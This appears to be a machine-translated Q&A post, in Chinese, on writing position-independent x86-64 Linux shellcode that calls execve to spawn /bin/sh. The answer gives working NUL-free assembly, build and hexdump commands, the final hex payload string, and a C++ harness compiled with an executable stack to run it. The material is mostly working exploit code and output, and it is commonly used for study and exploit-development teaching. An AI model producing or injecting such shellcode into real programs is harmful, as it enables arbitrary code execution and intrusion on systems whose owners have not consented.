Rom*_*ski 2 assembly x86-64 nasm execve shellcode
我正在尝试编写某种漏洞利用程序,但在使我的 asm 代码在堆栈上的任何位置运行时遇到问题。就是这样:
BITS 64
global _start
_start:
mov rax, 59
jmp short file
c1:
pop rdi
jmp short argv
c2:
pop rsi
mov rdx, 0
syscall
ret
file:
call c1
db '/bin/sh',0
argv:
call c2
dq arg, 0 <- problem
arg:
db 'sh',0
Run Code Online (Sandbox Code Playgroud)
由于选定的行,此代码将无法在堆栈上的任何位置工作,因为此代码可以在堆栈上的任何位置执行,因此 nasm 无法正确计算 arg 的地址。(这是shellcode 在作为单独代码单独运行时以及在使用 C++ 代码运行时调用不同系统调用的后续操作,这是问题所在。)
我已经轻松地用 jmp/call/pop 技巧替换了字符串,但指向字符串的指针仍然存在问题。
在 64 位代码中,您不需要 JMP/CALL/POP 方法,因为您可以使用 RIP 相对寻址。您的代码还会使用诸如 之类的指令在字符串中插入不需要的 NUL 字节mov rdx, 0。对于将作为字符串插入的 shellcode,您需要使用一组不引入 NUL 的指令,因为这可能会提前结束字符串,具体取决于字符串如何注入可利用程序。
execve定义为:
execve——执行程序
Run Code Online (Sandbox Code Playgroud)int execve(const char *pathname, char *const argv[], char *const envp[]);argv是传递给新程序的参数字符串数组。按照约定,这些字符串中的第一个(即 argv[0])应包含与正在执行的文件关联的文件名。 envp是一个字符串数组,通常采用 key=value 的形式,作为环境传递给新程序。argv 和 envp 数组必须在数组末尾各自包含一个空指针。
如果不使用envp,您可以传递 NULL。argv需要是一个以 NULL 结尾的字符串指针列表。在您的情况下,您正在尝试生成C代码的等效内容:
#include <unistd.h>
int main()
{
char pathname[] = "/bin/sh";
char *argv[] = { pathname, NULL };
execve (pathname, argv, NULL);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
您可以在可以作为 shellcode 运行的汇编代码中完全在堆栈上执行此操作。以下代码/bin/sh在堆栈上构建字符串并将RDI(路径名)指向它。然后,它通过将 NULL 压入堆栈来构建以 NULL结尾的argv列表,并将 RDI 中的值压入。然后将RSI设置到堆栈上的argv列表。RDX被清零,因此envp列表为 NULL。execve然后调用(系统调用 59)。我shellcode.asm使用以下命令创建一个程序集文件:
BITS 64
global _start
_start:
; Build pathname on the stack
sub rsp, 8 ; Allocate space for the pathname on the stack
mov rdi, rsp ; Set RDI to the space that will hold the pathname
mov dword [rsp], '/bin' ; Move the first 4 characters of the path into pathname
mov dword [rsp+4], '/sh.' ; Move the last 4 characters of the path into pathname
; The '.' character will be replaced with a NUL byte
xor eax, eax ; Zero RAX
mov [rsp+7], al ; Terminate pathname by replacing the period with 0
; Build NULL terminated argv list on the stack
push rax ; NULL terminator
push rdi ; Pointer to pathname
mov rsi, rsp ; Point RSI to the argv array
xor edx, edx ; RDX = NULL(0) (we don't have an envp list)
mov al, 59 ; 59 = execve system call number
syscall ; Do the execve system call
Run Code Online (Sandbox Code Playgroud)
使用以下命令将其构建为二进制可执行文件:
nasm -f elf64 shellcode.asm -o shellcode.o
gcc -nostartfiles shellcode.o -o shellcode
Run Code Online (Sandbox Code Playgroud)
运行./shellcode应该会产生一个 Linux shell 提示符。接下来将独立可执行文件转换为 shell 字符串二进制文件shellcode.bin,然后使用 HEXDUMP 将其转换为十六进制字符串:
objcopy -j.text -O binary shellcode shellcode.bin
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shellcode.bin
Run Code Online (Sandbox Code Playgroud)
HEXDUMP 的输出应该是:
\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88 \x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05
注意:\x00输出中没有 NUL ( )。
将字符串插入到可利用的 C++ 程序调用中exploit.cpp:
int main(void)
{
char shellstr[]="\x48\x83\xec\x08\x48\x89\xe7\xc7\x04\x24\x2f\x62\x69\x6e\xc7\x44\x24\x04\x2f\x73\x68\x2e\x31\xc0\x88\x44\x24\x07\x50\x57\x48\x89\xe6\x31\xd2\xb0\x3b\x0f\x05";
reinterpret_cast<void(*)()>(shellstr)();
return 0;
}
Run Code Online (Sandbox Code Playgroud)
exploit将其编译为具有可执行堆栈的程序:
g++ -Wl,-z,execstack exploit.cpp -o exploit
Run Code Online (Sandbox Code Playgroud)
当运行./exploit它时,应该会出现一个 Linux shell 提示符。strace ./exploit应该为execve系统调用输出以下内容:
execve("/bin/sh", ["/bin/sh"], NULL) = 0